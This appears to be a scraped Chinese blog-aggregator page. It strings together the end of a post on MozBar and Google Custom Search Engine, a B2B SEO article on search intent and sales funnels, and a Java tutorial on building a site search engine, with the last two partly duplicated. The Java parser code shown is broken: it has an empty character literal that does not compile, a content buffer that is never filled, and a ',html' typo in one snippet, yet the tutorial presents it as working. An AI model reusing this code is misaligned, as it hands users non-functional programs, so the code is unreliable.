同理MozBar也可以用来分析其他站点的质量。
—2—
谷歌自定义搜索引擎
在介绍这个有点烧脑的工具之前,先和大家分享一件趣事。(其实按照我分享的步骤操作并不难掌握)
今天同事咨询我该怎么扒原贴。
他在网页看到这张图,想找原帖,但即使知道这是博主在Facebook发布的帖子,也知道是2019年发布的,甚至连文本内容都知道,可他就是没办法在博主的Facebook主页扒出来这条陈年老帖。
即使设置好了搜索条件,右侧的显示也跟原帖毫不相干。
而我用谷歌自定义搜索引擎来搜索,一下子就找到了这条帖子,而且搜索结果非常精准,就是这一条内容。
1.谷歌自定义搜索引擎是什么
先贴网址:
欢迎大家先来看一下我的的小粉红乞丐版自定义搜索引擎,是不是跟平常我们在谷歌的搜索很不一样?
外观可以自定义,要搜索的内容也可以定向。
分为几个板块,第一个板块是搜索标签;第二个板块是谷歌的广告内容;第三个板块是搜索结果。
如果我想搜索网站内容,就选择Web,如果想搜索图片内容,就选择Image。
我把All results标签设置为包含右边所有标签。
即我用All results标签搜索”小米手机“,就会得到twitter、Facebook、tumblr、 reddit、youtube这几个网站里,所有关于”小米手机“的内容。
当然我也可以根据各个不同标签找。
比如我想搜索twitter里所有关于”小米手机“的帖子,就直接用twitter的标签进行搜索。
是不是很方便!
2.手把手教你设置自定义搜索
a)第一步:新增搜索引擎
以下为设置初步自定义搜索的流程。
打开网址:
点击添加,填写内容,然后点击创建。
创建完成后会显示该界面。
我们先来点击公开网址,如图:
在搜索框我们试着搜索一下最近的东北虎热点事件:
我们看到出来的都是Facebook(twitter也有显示在后面)上关于东北虎的讨论,非常精准。
接着点击修改搜索引擎控制台,如图:
这里大家可以自行设置,但是注意,正常情况下建议打开图片搜索和安全搜索。
b)第二步:修改搜索引擎
这是我之前设置好参数的自定义搜索引擎”测试版“。
左边进行设置的同时,可以在右边看到预设的界面。外观设置就不说了,大家按照自己的喜好去调整。
标签的设置是在”“搜索功能”的“优化一栏。
按照自己的需要添加标签。
比如我想有一个标签专门显示Facebook的内容,我就把标签命名为”Facebook“(或者其他自定义名称),并选择”进搜索具有此标签的网站“。
创建完标签后回到设置栏,下拉。
勾选你要添加进标签的网站(可以勾选多个),选择标签,就完成对标签的设置了。
乞丐版自定义搜索引擎完成。
3.普通搜索 vs 自定义搜索
设置完成后我们可以对比两个搜索引擎进行搜索。
比如我想做小米手机在twitter的市场调研,想知道twitter里关于小米手机的帖子大多在讨论什么内容。
我尝试着在普通谷歌浏览器搜索“小米手机+twitter”。
前五的结果除了第一条是来自推特的标签,剩下的全是来自其它网站。
我用自定义搜索引擎来试试看。
直接在我刚才设置好的搜索引擎里,选择twitter的标签,然后搜索“小米手机”。
除了前面的广告页,直接拉下来,搜索到的全是来自twitter的内容。
直接提高我做市场调查的效率有没有!自定义搜索引擎完胜。
—3—
结语
以上两个工具还有很多功能,感兴趣的朋友完全可以继续摸索。比如谷歌自定义搜索引擎其实也是站长们可以利用起来的好工具。
可以用来给自己的网站做一个导航链接分享出去,甚至可以自定义广告栏,曾经谷歌是收广告费的庄家,现在收广告费的庄家成了你。
而MozBar不仅仅能分析网页/网站质量,还能分析关键字排名、网站SEO强度、SEO分析...这简直就是给你开了外挂,可以用来分析别人网站的流量具体是怎么跑的。
但对于想提高搜索效率的基础玩家,这两款工具的初级玩法也完全够用了。
搜索意图和销售漏斗——B2B网站内容部署的指路灯
网站优化 • 优采云 发表了文章 • 0 个评论 • 56 次浏览 • 2022-05-10 05:43
对于B2B企业来说,官方网站的营销运营中是整个品牌营销活动非常重要又比较棘手的部分。而其中网站的内容部署更是一个较为花费精力的环节。
B2B企业网站缺乏内容吗?
显然地,熟悉B2B品牌的营销人员都知道自身不缺乏内容。品牌本身拥有大量的内容形式。品牌故事、产品文案、产品使用手册(大量的PDF文档)、FAQ内容、客户真实评论与反馈、行业资讯和资料等等,这些都是品牌主很容易就可以创建或者现成得到的内容。
因此,对于B2B企业的品牌站来说,内容营销更核心在于如何部署或者释放这些内容到网站中,利用它们来获取流量和提升网站的E-A-T评分。
本文主要从搜索意图和销售漏斗这两个概念出发,利用这两个在SEO和营销学中基础的理念介绍如何在B2B企业的品牌独立站中部署内容。
销售漏斗对于网站内容部署意味着什么?
销售漏斗的概念应该对任何营销人员来说都不陌生,仍然记得这是我当年专业老师必问必考的一个内容。所以它对于指引我们B2B网站的内容部署还是非常重要。
首先我们要重温一下“客户旅程”这个概念。客户(用户)从了解一个品牌,到查询资料,然后形成意见,最后掏钱购买,这是一个完整的客户旅程。
产生意识>确认需求>进行购买>留存选择>口碑传播,贯穿于销售漏斗的始终。对于我们网站内容策略来说,客户旅程和销售漏斗发挥着一个非常重要的指导作用。
根据Ahrefs的一个调研,大部分的B2B企业更加关注销售漏斗中的BOFU环节,即促成购买的环节。
因此在网站的内容部署中,投入大量的精力在和产品购买相关的页面中,如产品目录页、产品详情页或者其他促销页面。对于以询盘或者销售为业绩导向的B2B企业来说,的确是无可厚非的一种操作。
然而,很多时候我们仿佛忘记了当初学习营销时的一个基本理念---用户达成购买,是一个漫长的被攻占心智的过程。对于销售漏斗中的TOFU和MOFU部分的内容,我们忽视了或者不愿意去投入精力,直接无视了在“客户旅程”中处于中间过程的潜在客户。
在我们定立网站内容策略,制定内容部署方针的时候,如果我们发现不知道应该部署什么内容的时候,可以回顾一下销售漏斗中用户在不同的客户旅程阶段,他们所关注的内容是什么。
不同购买漏斗阶段用户关心的内容
处于TOFU部分的用户,大多是刚刚发现自己有这样的需求,并且在网上开始搜索相关资料、品牌等。那么网站中应该有这样的内容来展示品牌在这个领域的专业度,让潜在的客户相信你的品牌作为一个可靠的信息来源。网站中的品牌故事内容、专业背书内容、Ebook(包括白皮书等)以及当前比较流行的短视频、社媒运营、信息图等都可以帮助你的潜在客户加深对品牌的印象,提高他们重新访问网站获取信息的机会或者关注品牌动向。
而进入到MOFU部分内容的用户,他们已经对品牌和行业相关的一些基本概念有一定了解,确定了需求。他们更加想进一步找到满足自己需求的解决方案、和一些技术对比。而我们这个时候应该呈现给用户的是我们的一些技术能力、解决方案策略等内容。
从这个角度出发,我们应该在内容部署中考虑案例、指导性内容、相关研讨会,活动实况、场景应用介绍等。同时配合EDM营销把这些内容推送给在TOFU部分积累的潜在用户。
到了BOFU,我们希望潜在客户进行购买,到达这个阶段的用户应该理解我们呈现的内容,我们需要让他们相信我们的产品、服务确实有能力解决他们的问题。那么我们需要什么内容来推动他们进行购买行为呢?我相信大部分营销人员都对这部分内容较为熟悉。
一个不同版本的对比表格、一份产品或者软件的demo试用、根据不同客户需求呈现的推荐产品、真实的客户反馈以及具体的参数,这些内容都是在BOFU阶段促进用户交易的内容。
B2B网站应该包含所有贯穿销售漏斗阶段的内容
不少B2B 网站的营销人员会不禁发出疑问,以上说的三部分内容,应该怎么去分布。首先,我们明确建议:B2B网站应该呈现包含所有贯穿销售漏斗阶段的内容。
这是因为,我们无法判断,进入我们网站的潜在客户他们处于销售漏斗中哪一个阶段。因此,如果我们网站可以部署满足用户处于不同客户旅程阶段的内容,那么我们网站就可以捕获不同需求客户的流量,各个部分的内容都可以成为网站SEO流量的推进剂,而最终促进销售和询盘的达成。
用户搜索意图的充分分析帮助B2B网站的内容建设
当我们知道为B2B网站创建什么类型的内容后,我们就需要考虑怎么去创建贴合用户需求,为网站带来流量的内容了。这个时候“用户搜索意图”分析就可以帮助到我们制定内容建设的框架了。
什么是用户搜索意图?
顾名思义,搜索意图就是反映潜在客户为什么要这样搜索的原因。一般情况下,在SEO中用户的搜索意图体现在他们通过搜索哪些关键词来获取他们想要的信息。
用户搜索意图对于B2B网站内容部署有什么意义?
了解用户的搜索意图,便于网站的营销人员创建符合用户需求的内容,有利于网站的SEO排名和流量的提升。前文说到,潜在客户处于不同的客户旅程阶段,进入不同的销售漏斗部分,他们所想了解的东西是不一样的。这个时候他们所使用的搜索关键词也会有所差异。
因此当我们分析用户意图后,我们便可以得知他们当前所想了解的信息大多会和哪些主题相关。而我们网站所部署的内容主题也应该和他们相贴合。
用户搜索意图的类型有哪些?
用户的搜索意图类型主要分以下几种:
1、信息类型——用户希望通过搜索,了解某些品牌、产品、服务的基础信息,包括它们的用途、原理等等。通常这类意图的关键词都包含“what is”、“who is”,“Where is”等5W元素。
2、导航类型——用户可能希望访问某个特定的网站或者页面。这个时候,他们会直接搜索某个网站的名称或者品牌名称,如“Facebook”,“Apple official website”。
3、含交易意向的类型——购买意欲较强的用户,他们大多已经处于购买漏斗比较靠后的阶段,这个时候他们所呈现的搜索意图已经非常明显,它们大多会使用含有“buy”,“price”,“cheap”等等和购买、价格比较相关的字眼。
4、商业调查类型——这类搜索意图和含交易意向的类型有些类似。他们已经有很明显的购买意图,而且希望通过调查,找到头部品牌、优惠、reviews、参数对比信息等内容帮助他们进行最后的决策。
当我们知道用户的搜索用词类型会体现以上四种搜索意图的时候,在我们在做内容策划时,进行关键词调研、主题调研就应该总结出一些用词规律,并根据这些词根,推断通过这些词进入到网站的用户大多处于哪个客户旅行阶段,也可以通过已有数据来检查我们网站目前缺乏销售漏斗中哪些内容类型,进而对网站的内容主题进行规划。
各类搜索意图一般情况下会出现的字眼:
如何了解来到网站的用户的搜索意图?
我们知道搜索意图的分类和体现用户搜索意图的关键词词根后,我们应该怎么去了解和分析我们的网站有哪些类型的用户访问了呢?
这个很简单,相关的工具和网站后台就可以帮助我们得到这些信息。
● 内部挖掘:
Google Analytics & Google Search Console
通过Google Analytics和 Google Search Console 中的来源关键词,我们可以看到我们网站在哪些关键词中获得了流量。这些都是用户实打实的搜索意图,并且我们网站内容某程度上满足了他们的搜索意图。
另外我们可以通过GA中查看我们在Google 广告投放中触发广告的关键词,来查看用户的搜索意图。
我们把这些词下载下来,通过前文提及的搜索意图会包含的字眼,进行筛选。这样我们就可以清楚了解到我们网站获得处于哪个客户旅程阶段的用户比较多,哪种搜索意图类型的内容主题我们是比较缺乏的。进而就知道我们应该去拓展和补充哪些类型的内容。
●外部拓展
与此同时,我们也可以根据我们已有的词根,配合用户搜索意图体现的字眼,利用第三方工具来进行内容主题的拓展(关键词拓展)。
Semrush是一个强大的数字营销工具,只需要输入网址,semrush就会快速为网站进行一连串关于SEO、广告、竞争报告以及网站内容和社交媒体情况的各类分析,并给出优化建议。其中它的关键词分析套件可以根据网站或者关键词,提供相关关键词的拓展,搜索量、serp等数据。利用Keyword Magic Tool 工具,配合搜意意图体现常用词。可以轻松帮助我们找到当前用户所关注的内容主题。
结 语
谷歌仍然不断了解用户的搜索意图,并呈现符合用户搜索意图的信息。对于B2B业务来说,达成购买的客户旅程是相比于B2C业务来说是相对较长的,因此其潜在的客户处于销售漏斗不同阶段的数量也是相对会多。我们希望B2B网站可以获得更好的排名表现和流量提升,必须考虑内容一定满足处于各个销售漏斗阶段的用户搜索需求。
深入了解客户,并且回归基本路径是B2B企业网站营销运营、内容运营的康庄大道!
Freedom 肖宝宁
现任环创网络SEO manager;拥有6年海外数字营销经验,思维活跃,勇于创新,擅长社交媒体营销,服务客户包括中国南航、TCL、vivo、GameLoop、米哈游等。
查看全部
搜索意图和销售漏斗——B2B网站内容部署的指路灯
对于B2B企业来说,官方网站的营销运营中是整个品牌营销活动非常重要又比较棘手的部分。而其中网站的内容部署更是一个较为花费精力的环节。
B2B企业网站缺乏内容吗?
显然地,熟悉B2B品牌的营销人员都知道自身不缺乏内容。品牌本身拥有大量的内容形式。品牌故事、产品文案、产品使用手册(大量的PDF文档)、FAQ内容、客户真实评论与反馈、行业资讯和资料等等,这些都是品牌主很容易就可以创建或者现成得到的内容。
因此,对于B2B企业的品牌站来说,内容营销更核心在于如何部署或者释放这些内容到网站中,利用它们来获取流量和提升网站的E-A-T评分。
本文主要从搜索意图和销售漏斗这两个概念出发,利用这两个在SEO和营销学中基础的理念介绍如何在B2B企业的品牌独立站中部署内容。
销售漏斗对于网站内容部署意味着什么?
销售漏斗的概念应该对任何营销人员来说都不陌生,仍然记得这是我当年专业老师必问必考的一个内容。所以它对于指引我们B2B网站的内容部署还是非常重要。
首先我们要重温一下“客户旅程”这个概念。客户(用户)从了解一个品牌,到查询资料,然后形成意见,最后掏钱购买,这是一个完整的客户旅程。
产生意识>确认需求>进行购买>留存选择>口碑传播,贯穿于销售漏斗的始终。对于我们网站内容策略来说,客户旅程和销售漏斗发挥着一个非常重要的指导作用。
根据Ahrefs的一个调研,大部分的B2B企业更加关注销售漏斗中的BOFU环节,即促成购买的环节。
因此在网站的内容部署中,投入大量的精力在和产品购买相关的页面中,如产品目录页、产品详情页或者其他促销页面。对于以询盘或者销售为业绩导向的B2B企业来说,的确是无可厚非的一种操作。
然而,很多时候我们仿佛忘记了当初学习营销时的一个基本理念---用户达成购买,是一个漫长的被攻占心智的过程。对于销售漏斗中的TOFU和MOFU部分的内容,我们忽视了或者不愿意去投入精力,直接无视了在“客户旅程”中处于中间过程的潜在客户。
在我们定立网站内容策略,制定内容部署方针的时候,如果我们发现不知道应该部署什么内容的时候,可以回顾一下销售漏斗中用户在不同的客户旅程阶段,他们所关注的内容是什么。
不同购买漏斗阶段用户关心的内容
处于TOFU部分的用户,大多是刚刚发现自己有这样的需求,并且在网上开始搜索相关资料、品牌等。那么网站中应该有这样的内容来展示品牌在这个领域的专业度,让潜在的客户相信你的品牌作为一个可靠的信息来源。网站中的品牌故事内容、专业背书内容、Ebook(包括白皮书等)以及当前比较流行的短视频、社媒运营、信息图等都可以帮助你的潜在客户加深对品牌的印象,提高他们重新访问网站获取信息的机会或者关注品牌动向。
而进入到MOFU部分内容的用户,他们已经对品牌和行业相关的一些基本概念有一定了解,确定了需求。他们更加想进一步找到满足自己需求的解决方案、和一些技术对比。而我们这个时候应该呈现给用户的是我们的一些技术能力、解决方案策略等内容。
从这个角度出发,我们应该在内容部署中考虑案例、指导性内容、相关研讨会,活动实况、场景应用介绍等。同时配合EDM营销把这些内容推送给在TOFU部分积累的潜在用户。
到了BOFU,我们希望潜在客户进行购买,到达这个阶段的用户应该理解我们呈现的内容,我们需要让他们相信我们的产品、服务确实有能力解决他们的问题。那么我们需要什么内容来推动他们进行购买行为呢?我相信大部分营销人员都对这部分内容较为熟悉。
一个不同版本的对比表格、一份产品或者软件的demo试用、根据不同客户需求呈现的推荐产品、真实的客户反馈以及具体的参数,这些内容都是在BOFU阶段促进用户交易的内容。
B2B网站应该包含所有贯穿销售漏斗阶段的内容
不少B2B 网站的营销人员会不禁发出疑问,以上说的三部分内容,应该怎么去分布。首先,我们明确建议:B2B网站应该呈现包含所有贯穿销售漏斗阶段的内容。
这是因为,我们无法判断,进入我们网站的潜在客户他们处于销售漏斗中哪一个阶段。因此,如果我们网站可以部署满足用户处于不同客户旅程阶段的内容,那么我们网站就可以捕获不同需求客户的流量,各个部分的内容都可以成为网站SEO流量的推进剂,而最终促进销售和询盘的达成。
用户搜索意图的充分分析帮助B2B网站的内容建设
当我们知道为B2B网站创建什么类型的内容后,我们就需要考虑怎么去创建贴合用户需求,为网站带来流量的内容了。这个时候“用户搜索意图”分析就可以帮助到我们制定内容建设的框架了。
什么是用户搜索意图?
顾名思义,搜索意图就是反映潜在客户为什么要这样搜索的原因。一般情况下,在SEO中用户的搜索意图体现在他们通过搜索哪些关键词来获取他们想要的信息。
用户搜索意图对于B2B网站内容部署有什么意义?
了解用户的搜索意图,便于网站的营销人员创建符合用户需求的内容,有利于网站的SEO排名和流量的提升。前文说到,潜在客户处于不同的客户旅程阶段,进入不同的销售漏斗部分,他们所想了解的东西是不一样的。这个时候他们所使用的搜索关键词也会有所差异。
因此当我们分析用户意图后,我们便可以得知他们当前所想了解的信息大多会和哪些主题相关。而我们网站所部署的内容主题也应该和他们相贴合。
用户搜索意图的类型有哪些?
用户的搜索意图类型主要分以下几种:
1、信息类型——用户希望通过搜索,了解某些品牌、产品、服务的基础信息,包括它们的用途、原理等等。通常这类意图的关键词都包含“what is”、“who is”,“Where is”等5W元素。
2、导航类型——用户可能希望访问某个特定的网站或者页面。这个时候,他们会直接搜索某个网站的名称或者品牌名称,如“Facebook”,“Apple official website”。
3、含交易意向的类型——购买意欲较强的用户,他们大多已经处于购买漏斗比较靠后的阶段,这个时候他们所呈现的搜索意图已经非常明显,它们大多会使用含有“buy”,“price”,“cheap”等等和购买、价格比较相关的字眼。
4、商业调查类型——这类搜索意图和含交易意向的类型有些类似。他们已经有很明显的购买意图,而且希望通过调查,找到头部品牌、优惠、reviews、参数对比信息等内容帮助他们进行最后的决策。
当我们知道用户的搜索用词类型会体现以上四种搜索意图的时候,在我们在做内容策划时,进行关键词调研、主题调研就应该总结出一些用词规律,并根据这些词根,推断通过这些词进入到网站的用户大多处于哪个客户旅行阶段,也可以通过已有数据来检查我们网站目前缺乏销售漏斗中哪些内容类型,进而对网站的内容主题进行规划。
各类搜索意图一般情况下会出现的字眼:
如何了解来到网站的用户的搜索意图?
我们知道搜索意图的分类和体现用户搜索意图的关键词词根后,我们应该怎么去了解和分析我们的网站有哪些类型的用户访问了呢?
这个很简单,相关的工具和网站后台就可以帮助我们得到这些信息。
● 内部挖掘:
Google Analytics & Google Search Console
通过Google Analytics和 Google Search Console 中的来源关键词,我们可以看到我们网站在哪些关键词中获得了流量。这些都是用户实打实的搜索意图,并且我们网站内容某程度上满足了他们的搜索意图。
另外我们可以通过GA中查看我们在Google 广告投放中触发广告的关键词,来查看用户的搜索意图。
我们把这些词下载下来,通过前文提及的搜索意图会包含的字眼,进行筛选。这样我们就可以清楚了解到我们网站获得处于哪个客户旅程阶段的用户比较多,哪种搜索意图类型的内容主题我们是比较缺乏的。进而就知道我们应该去拓展和补充哪些类型的内容。
●外部拓展
与此同时,我们也可以根据我们已有的词根,配合用户搜索意图体现的字眼,利用第三方工具来进行内容主题的拓展(关键词拓展)。
Semrush是一个强大的数字营销工具,只需要输入网址,semrush就会快速为网站进行一连串关于SEO、广告、竞争报告以及网站内容和社交媒体情况的各类分析,并给出优化建议。其中它的关键词分析套件可以根据网站或者关键词,提供相关关键词的拓展,搜索量、serp等数据。利用Keyword Magic Tool 工具,配合搜意意图体现常用词。可以轻松帮助我们找到当前用户所关注的内容主题。
结 语
谷歌仍然不断了解用户的搜索意图,并呈现符合用户搜索意图的信息。对于B2B业务来说,达成购买的客户旅程是相比于B2C业务来说是相对较长的,因此其潜在的客户处于销售漏斗不同阶段的数量也是相对会多。我们希望B2B网站可以获得更好的排名表现和流量提升,必须考虑内容一定满足处于各个销售漏斗阶段的用户搜索需求。
深入了解客户,并且回归基本路径是B2B企业网站营销运营、内容运营的康庄大道!
Freedom 肖宝宁
现任环创网络SEO manager;拥有6年海外数字营销经验,思维活跃,勇于创新,擅长社交媒体营销,服务客户包括中国南航、TCL、vivo、GameLoop、米哈游等。
用Java写了一个搜索引擎系统
网站优化 • 优采云 发表了文章 • 0 个评论 • 63 次浏览 • 2022-05-07 19:02
前言
咱们如果用我们的小服务器去搞百度,搜狗那种引擎肯定是不行的,内属于全站搜索,我们这里做一个站内搜索。这个还是可以的,就类似于我们对网站里的资源进行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一个小蜜蜂每天不停的采摘蜂蜜,就是去爬虫各个网页,然后通过爬取之后建立索引,以供于我们去搜索。
这里我们可以使用Python,或者下载文档压缩包。这里我们下包把,快多了。本来想搞一个英雄联盟的,实在找不见,要是后续有老铁找到可以分享一下。
建议大家别爬虫(要不然被告了,不过我们学校的官网倒是可以随便爬,我们当时就是拿这个练手的) 为什么要用索引呢?
因为爬的数据太多了,不索引,难道我去遍历吗?时间复杂度太大了。
这里我们需要建立索引,索引分别为正排索引,和倒排索引。
拿LOL举个例子吧,正排就相当于,我们提到无极剑圣的技能就可以联想到:
所以这是根据名字选技能
倒排索引就是LOL里面谁有剑:
所以这是根据特点选择英雄
二.模块划分
1.索引模块
1)扫描下载到的文档,分析内容,构建出,正排索引和倒排索引。并且把索引内容保存到文件中。
2)加载制作i好的索引。并提供一些API实现查正排和查倒排这样的功能。
2.搜索模块
1)调用索引模块,实现一个搜索的完整过程。
输入:用户的查询词 输出:完整的搜索结果
3.web模块
需要实现一个简单的web程序,能够通过网页的形式和用户进行交互。包含了前端和后端。
三. 怎么实现分词
分词的原理:
1.基于词库
尝试把所有的词都进行穷举,把这些结果放到词典文件中。
2.基于统计
收集到很多的语料库,进行人工标注,知道了那些字在一起的概率比较大~
java中能够实现分词的第三方工具也是有很多的
比如ansj(听说唱的兄弟可能听过ansj,哈哈)这个就是一个maven中央仓库的分词第三方库。
我们直接下载最新版本然后放入pom.xml里面
test包里直接操作:我们使用这个测试代码直接搞。试一下这个包咋用。
import org.ansj.domain.Term;import org.ansj.splitWord.analysis.ToAnalysis;import java.util.List;public class TastAnsj { public static void main(String[] args) { String str = "易大师是一个有超高机动性的刺客、战士型英雄,擅长利用快速的打击迅速击溃对手,易大师一般打野和走单人路,作为无极剑道的最后传人,易可以迅速砍出大量伤害,同时还能利用技能躲避猛烈的攻击,避开敌人的集火。"; List terms = ToAnalysis.parse(str).getTerms(); for (Term term : terms) { System.out.println(term.getName()); } }}
四.文件读取
把刚刚下载好的文档的路径复制到String中并且用常量标记。
这一步是为了用遍历的方法把所有html文件搞出来,我们这里用了一个递归,如果是绝对路径,就填加到文件链表,如果不是就递归,继续添加里面的值。
import java.io.File;import java.util.ArrayList;//读取刚刚文档public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整个Parser类的入口 //1.根据路径,去枚举出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析 //3.把在内存中构造好的索引数据结构,保定到指定的文件中。 } //第一个参数表示从哪里开始遍历 //第二个表示结果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能够获取到一层目录下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根据当前f的类型判断是否递归。 //如果f是一个普通文件,就把f加入到fileList里面 //如果不是就调用递归 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { fileList.add(f); } } } public static void main(String[] args) { //通过main方法来实现整个制作索引的过程 Parser parser=new Parser(); parser.run(); }}
我们尝试运行一下,这里的文件也太多了吧,而且无论是什么都打印出来了。所以我们下一步就是把这些文件进行筛选,选择有用的。
else { if(f.getAbsolutePath().endsWith(",html")) fileList.add(f);}
这个代码就是只是针对末尾为html的文件。下图就是展示结果。
4.1 打开文件,解析内容。
这里分为三个分别是解析Title,解析Url,解析内容Content
4.1.1解析Title
f.getName()是直接读取文件名字的方法。
我们用的name.substring(0,f.getName().length()-5);为什么要用总的文件名字长度减去5呢,因为.HTML刚好就是五。
private String parseTitle(File f) { String name= f.getName(); return name.substring(0,f.getName().length()-5); }
4.1.2解析Url操作
这里的url就是我们平时去一个浏览器输入一个东西下面会有一个url,这个url就是我们的绝对路径经过截取获得出我们的相对的目录,然后与我们的http进行拼接,这样就可以直接得到一个页面。
private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; }
4.1.3解析内容
以为开关进行对数据的读取,以int类型读取,为什么要用int而不是char呢因为int类型读完之后就变成-1可以判断一下是否读取完毕。具体代码如下很容易理解。
private String parseContent(File f) throws IOException { //先按照一个一个字符来读取,以作为开关 try(FileReader fileReader=new FileReader(f)) { //加上一个是否拷贝的开关. boolean isCopy=true; //还需要准备一个结果保存 StringBuilder content=new StringBuilder(); while (true){ //此处的read的返回值是int,不是char //如果读到文件末尾,就会返回-1,这是用int的好处; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } } } return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; }
这一模块总的代码块如下:
import java.io.File;import java.io.FileNotFoundException;import java.io.FileReader;import java.io.IOException;import java.util.ArrayList;//读取刚刚文档public class Parser { private static final String INPUT_PATH="D:/test/docs/api"; public void run(){ //整个Parser类的入口 //1.根据路径,去枚举出所有的文件.(html); ArrayList fileList=new ArrayList(); enumFile(INPUT_PATH,fileList); System.out.println(fileList); System.out.println(fileList.size()); //2.针对上面罗列出的文件,打开文件,读取文件内容,并进行解析 for (File f:fileList){ System.out.println("开始解析"+f.getAbsolutePath()); parseHTML(f); } //3.把在内存中构造好的索引数据结构,保定到指定的文件中。 }<br /> private String parseTitle(File f) { String name= f.getName(); return name.substring(0,f.getName().length()-5); } private String parseUrl(File f) { String part1="https://docs.oracle.com/javase/8/docs/api/"; String part2=f.getAbsolutePath().substring(INPUT_PATH.length()); return part1+part2; } private String parseContent(File f) throws IOException { //先按照一个一个字符来读取,以作为开关 try(FileReader fileReader=new FileReader(f)) { //加上一个是否拷贝的开关. boolean isCopy=true; //还需要准备一个结果保存 StringBuilder content=new StringBuilder(); while (true){ //此处的read的返回值是int,不是char //如果读到文件末尾,就会返回-1,这是用int的好处; int ret = 0; try { ret = fileReader.read(); } catch (IOException e) { e.printStackTrace(); } if(ret==-1) { break; } char c=(char) ret; if(isCopy){ if(c==''){ isCopy=true; } } } return content.toString(); } catch (FileNotFoundException e) { e.printStackTrace(); } return ""; } private void parseHTML (File f){ //解析出标题 String title=parseTitle(f); //解析出对应的url String url=parseUrl(f); //解析出对应的正文 try { String content=parseContent(f); } catch (IOException e) { e.printStackTrace(); } } //第一个参数表示从哪里开始遍历 //第二个表示结果。 private void enumFile(String inputPath,ArrayListfileList){ File rootPath=new File(inputPath); //listFiles 能够获取到一层目录下的文件 File[] files= rootPath.listFiles(); for(File f:files){ //根据当前f的类型判断是否递归。 //如果f是一个普通文件,就把f加入到fileList里面 //如果不是就调用递归 if(f.isDirectory()){ enumFile(f.getAbsolutePath(),fileList); }else { if(f.getAbsolutePath().endsWith(".html")) fileList.add(f); } } } public static void main(String[] args) { //通过main方法来实现整个制作索引的过程 Parser parser=new Parser(); parser.run(); }}
欢迎加入程序员交流群
鬼哥我创建了几个技术交流群,大家在群里都是九分聊技术、一分聊风雪~
如果你没有加群,不妨扫描下方二维码、添加我的微信。我拉大家进群,记得备注:工作城市+昵称+技术方向!
Ps:如果朋友圈对我设置权限的话,那就不用加我好友了。
<p data-mid="" data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(19, 52, 86)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(19, 52, 86)" data-darkmode-bgimage-16266178294118="1" style="outline: 0px;text-align: center;">往期推荐
B站,竟然变成了相亲求偶平台!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" />
MySQL夺命15问,你能坚持到第几问?<br style="outline: 0px;" />
Nginx 轻松搞定跨域问题!<br style="outline: 0px;" />
换掉 UUID,更快更安全!<br style="outline: 0px;" />
Java实现10万+并发去重,持续优化!<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(67, 131, 199)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)|rgb(44, 95, 149)" style="outline: 0px;" /><br style="outline: 0px;" />花费数月整理出来的技术资源免费分享给大家扫描下方二维码,回复关键字【技术福利】获取!喜欢的这里报道<br data-darkmode-bgcolor-16266178294118="rgb(25, 25, 25)" data-darkmode-original-bgcolor-16266178294118="#fff|rgb(255, 255, 255)" data-darkmode-color-16266178294118="rgb(163, 163, 163)" data-darkmode-original-color-16266178294118="#fff|rgb(62, 62, 62)" style="outline: 0px;" />↘↘↘</p> 查看全部
用Java写了一个搜索引擎系统
前言
咱们如果用我们的小服务器去搞百度,搜狗那种引擎肯定是不行的,内属于全站搜索,我们这里做一个站内搜索。这个还是可以的,就类似于我们对网站里的资源进行搜索。
一.搜索引擎怎么搜索
搜索引擎就像一个小蜜蜂每天不停的采摘蜂蜜,就是去爬虫各个网页,然后通过爬取之后建立索引,以供于我们去搜索。
这里我们可以使用Python,或者下载文档压缩包。这里我们下包把,快多了。本来想搞一个英雄联盟的,实在找不见,要是后续有老铁找到可以分享一下。
建议大家别爬虫(要不然被告了,不过我们学校的官网倒是可以随便爬,我们当时就是拿这个练手的) 为什么要用索引呢?
因为爬的数据太多了,不索引,难道我去遍历吗?时间复杂度太大了。
这里我们需要建立索引,索引分别为正排索引,和倒排索引。
拿LOL举个例子吧,正排就相当于,我们提到无极剑圣的技能就可以联想到:
所以这是根据名字选技能
倒排索引就是LOL里面谁有剑:
所以这是根据特点选择英雄
二.模块划分
1.索引模块
1)扫描下载到的文档,分析内容,构建出,正排索引和倒排索引。并且把索引内容保存到文件中。
2)加载制作i好的索引。并提供一些API实现查正排和查倒排这样的功能。
2.搜索模块
1)调用索引模块,实现一个搜索的完整过程。
输入:用户的查询词 输出:完整的搜索结果
3.web模块
需要实现一个简单的web程序,能够通过网页的形式和用户进行交互。包含了前端和后端。
三. 怎么实现分词
分词的原理:
1.基于词库
尝试把所有的词都进行穷举,把这些结果放到词典文件中。
2.基于统计
收集到很多的语料库,进行人工标注,知道了那些字在一起的概率比较大~
java中能够实现分词的第三方工具也是有很多的
比如ansj(听说唱的兄弟可能听过ansj,哈哈)这个就是一个maven中央仓库的分词第三方库。
我们直接下载最新版本然后放入pom.xml里面
test包里直接操作:我们使用这个测试代码直接搞。试一下这个包咋用。
